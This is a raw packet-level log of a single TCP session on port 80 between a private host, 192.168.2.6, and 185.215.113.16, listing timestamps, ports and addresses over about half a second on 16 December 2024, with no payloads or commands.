Dec 16, 2024 15:02:12.861244917 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.861277103 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.862221956 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.862279892 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.862317085 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.862317085 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.863282919 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.863348007 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.863653898 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.863711119 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.864267111 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.864377022 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.864821911 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.864881039 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:12.865267038 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:12.865305901 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.003989935 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.004125118 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.004318953 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.004378080 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.004699945 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.004714012 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.004781961 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.004781961 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.005538940 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.005640030 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.005821943 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.006257057 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.006742954 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.006755114 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.006848097 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.007911921 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.008017063 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.008111000 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.008205891 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.009160995 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.009248972 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.009252071 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.009433031 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.010094881 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.010236025 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.010266066 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.010312080 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.011339903 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.011394024 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.011805058 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.011858940 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.012505054 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.012553930 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.012567997 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.012614965 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.013179064 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.013344049 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.014224052 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.014236927 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.014247894 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.014312983 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.014312983 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.015144110 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.015157938 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.015219927 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.015219927 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.015791893 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.015815973 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.015952110 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.016799927 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.017828941 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.017842054 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.017863989 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.017916918 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.017916918 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.018842936 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.018855095 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.019094944 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.019690990 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.019702911 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.019856930 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.020570040 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.020659924 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.020730972 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.021558046 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.021569014 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.021737099 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.022536993 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.022751093 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.022815943 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.022861004 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.023746967 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.024015903 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.024112940 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.024686098 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.024744034 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.025465012 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.025527954 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.025727034 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.025780916 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.025870085 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.025959969 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.027112007 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.027177095 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.028567076 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.028579950 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.028611898 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.028666973 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.028666973 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.029680967 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.030494928 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.030877113 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.030889988 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.030911922 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.030937910 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.030972004 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.031603098 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.031749964 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.031793118 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.031793118 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.032361984 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.032381058 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.032427073 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.033075094 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.033209085 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.033294916 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.033348083 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.033795118 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.033807039 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.033917904 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.034945011 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.035029888 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.035046101 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.035195112 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.036340952 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.036362886 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.036403894 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.037569046 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.037667990 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.038697958 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.038711071 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.038722038 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.038753033 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.038803101 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.039386988 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.039400101 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.039473057 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.040112972 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.040127039 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.040175915 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.040175915 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.040905952 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.040962934 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.041134119 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.041192055 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.041944027 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.042017937 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.042921066 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.042989016 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.043000937 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.043034077 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.043034077 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.043991089 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.044044018 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.044385910 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.044537067 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.045063019 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.045075893 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.045104027 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.046068907 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.046116114 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.046190023 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.046247005 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.047072887 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.047185898 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.047926903 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.048039913 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.048116922 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.048130035 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.048207998 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.049169064 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.049180984 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.049231052 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.049231052 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.050226927 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.050290108 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.051275969 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.051287889 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.051300049 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.051332951 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.051362038 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.052177906 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.052278996 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.052355051 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.052429914 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.053255081 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.053309917 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.053821087 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.053909063 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.054271936 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.054284096 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.054447889 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.055362940 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.055373907 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.055427074 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.056382895 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.056396008 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.056780100 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.057274103 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.057341099 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.196870089 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.196939945 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.197026014 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.197087049 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.197266102 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.197354078 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.197402000 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.197402000 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.198144913 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.198160887 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.198343992 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.199213028 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.199227095 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.199333906 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.200133085 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.200210094 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.200238943 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.200287104 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.201159000 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.201291084 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.201428890 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.201539040 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.202220917 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.202245951 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.202267885 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.202289104 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.203202963 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.203334093 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.203895092 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.203979969 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.204320908 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.204334021 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.204374075 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.205279112 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.205291033 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.205332994 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.206321955 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.206445932 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.206531048 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.206590891 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.207680941 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.207694054 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.207752943 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.207752943 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.208318949 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.208435059 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.209053040 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.209100008 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.209367990 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.209448099 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.209485054 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.210526943 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.210663080 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.210793972 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.211033106 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.211568117 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.211649895 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.211716890 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.212004900 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.212595940 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.212609053 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.212639093 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.212655067 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.213465929 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.213617086 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.213625908 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.213722944 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.214608908 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.214622974 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.214782953 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.215574026 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.215671062 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.215676069 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.215771914 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.216666937 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.216758966 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.217894077 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.217917919 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.217946053 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.217956066 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.217956066 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.218031883 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.218730927 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.218745947 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.218844891 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.219625950 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.219732046 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.219739914 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.219873905 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.220633984 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.220716000 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.220736027 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.220803022 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.221728086 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.221779108 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.221920013 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.221980095 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.222856998 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.222994089 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.223068953 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.223192930 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.223767996 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.223781109 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.223825932 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.224785089 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.224900961 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.224993944 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.225193977 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.225760937 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.225810051 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.225852966 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.225907087 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.226757050 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.226804018 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.226917028 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.226967096 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.227833033 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.227917910 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.227941036 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.228213072 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.228812933 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.228903055 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.228998899 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.229254961 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.229870081 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.229945898 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.229984045 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.230066061 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.230917931 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.230973005 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.231014013 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.231168985 CET	49867	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:13.231929064 CET	80	49867	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:13.231942892 CET	80	49867	185.215.113.16	192.168.2.6
